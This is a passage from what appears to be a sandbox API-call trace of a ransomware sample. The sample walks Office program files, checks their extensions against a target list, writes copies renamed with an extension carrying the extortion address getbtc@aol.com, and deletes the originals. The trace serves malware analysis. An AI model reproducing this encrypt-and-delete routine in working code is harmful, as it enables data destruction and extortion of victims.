(lpString1=".jpg", lpString2=".DLL") returned 1 [0251.873] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0251.873] lstrlenW (lpString="ONELEV.EXE") returned 10 [0251.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.874] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=57224) returned 1 [0251.874] CloseHandle (hObject=0x324) returned 1 [0251.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe")) returned 0x20 [0251.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.874] lstrlenW (lpString=".doc") returned 4 [0251.874] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0251.874] lstrlenW (lpString=".docx") returned 5 [0251.874] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0251.875] lstrlenW (lpString=".pdf") returned 4 [0251.875] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString=".xls") returned 4 [0251.875] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString=".xlsx") returned 5 [0251.875] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0251.875] lstrlenW (lpString=".ppt") returned 4 [0251.875] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString=".zip") returned 4 [0251.875] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString=".rar") returned 4 [0251.875] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString=".bz2") returned 4 [0251.875] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0251.875] lstrlenW (lpString=".7z") returned 3 [0251.875] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString=".dbf") returned 4 [0251.875] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString=".1cd") returned 4 [0251.875] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString=".jpg") returned 4 [0251.875] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.875] lstrlenW (lpString=".doc") returned 4 [0251.875] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0251.875] lstrlenW (lpString=".docx") returned 5 [0251.875] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0251.875] lstrlenW (lpString=".pdf") returned 4 [0251.875] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0251.875] lstrlenW (lpString=".xls") returned 4 [0251.876] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0251.876] lstrlenW (lpString=".xlsx") returned 5 [0251.876] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0251.876] lstrlenW (lpString=".ppt") returned 4 [0251.876] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0251.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.876] lstrlenW (lpString=".zip") returned 4 [0251.876] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0251.876] lstrlenW (lpString=".rar") returned 4 [0251.876] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0251.876] lstrlenW (lpString=".bz2") returned 4 [0251.876] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0251.876] lstrlenW (lpString=".7z") returned 3 [0251.876] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0251.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.876] lstrlenW (lpString=".dbf") returned 4 [0251.876] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0251.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.876] lstrlenW (lpString=".1cd") returned 4 [0251.876] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0251.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0251.876] lstrlenW (lpString=".jpg") returned 4 [0251.876] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0251.876] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0251.876] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0251.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.877] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1750992) returned 1 [0251.877] CloseHandle (hObject=0x324) returned 1 [0251.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs")) returned 0x20 [0251.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0251.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.877] lstrlenW (lpString=".doc") returned 4 [0251.877] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.877] lstrlenW (lpString=".docx") returned 5 [0251.877] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0251.877] lstrlenW (lpString=".pdf") returned 4 [0251.877] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.877] lstrlenW (lpString=".xls") returned 4 [0251.877] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.877] lstrlenW (lpString=".xlsx") returned 5 [0251.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0251.878] lstrlenW (lpString=".ppt") returned 4 [0251.878] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".zip") returned 4 [0251.878] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString=".rar") returned 4 [0251.878] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString=".bz2") returned 4 [0251.878] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.878] lstrlenW (lpString=".7z") returned 3 [0251.878] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".dbf") returned 4 [0251.878] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".1cd") returned 4 [0251.878] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".jpg") returned 4 [0251.878] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".doc") returned 4 [0251.878] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.878] lstrlenW (lpString=".docx") returned 5 [0251.878] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0251.878] lstrlenW (lpString=".pdf") returned 4 [0251.878] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString=".xls") returned 4 [0251.878] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString=".xlsx") returned 5 [0251.878] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0251.878] lstrlenW (lpString=".ppt") returned 4 [0251.878] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.878] lstrlenW (lpString=".zip") returned 4 [0251.879] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.879] lstrlenW (lpString=".rar") returned 4 [0251.879] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.879] lstrlenW (lpString=".bz2") returned 4 [0251.879] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.879] lstrlenW (lpString=".7z") returned 3 [0251.879] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.879] lstrlenW (lpString=".dbf") returned 4 [0251.879] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.879] lstrlenW (lpString=".1cd") returned 4 [0251.879] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0251.879] lstrlenW (lpString=".jpg") returned 4 [0251.879] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.879] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0251.879] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0251.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.880] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=9704) returned 1 [0251.880] CloseHandle (hObject=0x324) returned 1 [0251.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll")) returned 0x20 [0251.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.880] lstrlenW (lpString=".doc") returned 4 [0251.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.880] lstrlenW (lpString=".docx") returned 5 [0251.880] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0251.880] lstrlenW (lpString=".pdf") returned 4 [0251.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.880] lstrlenW (lpString=".xls") returned 4 [0251.880] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.880] lstrlenW (lpString=".xlsx") returned 5 [0251.880] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0251.880] lstrlenW (lpString=".ppt") returned 4 [0251.880] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.880] lstrlenW (lpString=".zip") returned 4 [0251.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.880] lstrlenW (lpString=".rar") returned 4 [0251.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".bz2") returned 4 [0251.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.881] lstrlenW (lpString=".7z") returned 3 [0251.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString=".dbf") returned 4 [0251.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString=".1cd") returned 4 [0251.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString=".jpg") returned 4 [0251.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString=".doc") returned 4 [0251.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".docx") returned 5 [0251.881] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0251.881] lstrlenW (lpString=".pdf") returned 4 [0251.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".xls") returned 4 [0251.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".xlsx") returned 5 [0251.881] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0251.881] lstrlenW (lpString=".ppt") returned 4 [0251.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.881] lstrlenW (lpString=".zip") returned 4 [0251.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".rar") returned 4 [0251.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.881] lstrlenW (lpString=".bz2") returned 4 [0251.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.882] lstrlenW (lpString=".7z") returned 3 [0251.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.882] lstrlenW (lpString=".dbf") returned 4 [0251.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.882] lstrlenW (lpString=".1cd") returned 4 [0251.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0251.882] lstrlenW (lpString=".jpg") returned 4 [0251.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.882] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0251.882] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0251.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.882] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=631) returned 1 [0251.882] CloseHandle (hObject=0x324) returned 1 [0251.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 0x20 [0251.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.883] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.883] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0251.884] GetLastError () returned 0x0 [0251.884] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x277, lpOverlapped=0x0) returned 1 [0251.887] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0251.888] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.888] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0251.888] SetEndOfFile (hFile=0x1fc) returned 1 [0251.888] CloseHandle (hObject=0x1fc) returned 1 [0251.888] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.888] SetEndOfFile (hFile=0x324) returned 1 [0251.890] CloseHandle (hObject=0x324) returned 1 [0251.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 1 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.891] lstrlenW (lpString=".doc") returned 4 [0251.891] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.891] lstrlenW (lpString=".docx") returned 5 [0251.891] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.891] lstrlenW (lpString=".pdf") returned 4 [0251.891] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.891] lstrlenW (lpString=".xls") returned 4 [0251.891] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.891] lstrlenW (lpString=".xlsx") returned 5 [0251.891] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.891] lstrlenW (lpString=".ppt") returned 4 [0251.891] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.891] lstrlenW (lpString=".zip") returned 4 [0251.891] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.891] lstrlenW (lpString=".rar") returned 4 [0251.891] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.891] lstrlenW (lpString=".bz2") returned 4 [0251.891] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.891] lstrlenW (lpString=".7z") returned 3 [0251.891] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.891] lstrlenW (lpString=".dbf") returned 4 [0251.891] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.891] lstrlenW (lpString=".1cd") returned 4 [0251.892] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".jpg") returned 4 [0251.892] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".doc") returned 4 [0251.892] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.892] lstrlenW (lpString=".docx") returned 5 [0251.892] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.892] lstrlenW (lpString=".pdf") returned 4 [0251.892] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString=".xls") returned 4 [0251.892] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString=".xlsx") returned 5 [0251.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.892] lstrlenW (lpString=".ppt") returned 4 [0251.892] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".zip") returned 4 [0251.892] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString=".rar") returned 4 [0251.892] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.892] lstrlenW (lpString=".bz2") returned 4 [0251.892] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.892] lstrlenW (lpString=".7z") returned 3 [0251.892] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".dbf") returned 4 [0251.892] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".1cd") returned 4 [0251.892] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0251.892] lstrlenW (lpString=".jpg") returned 4 [0251.892] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.893] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0251.893] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0251.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 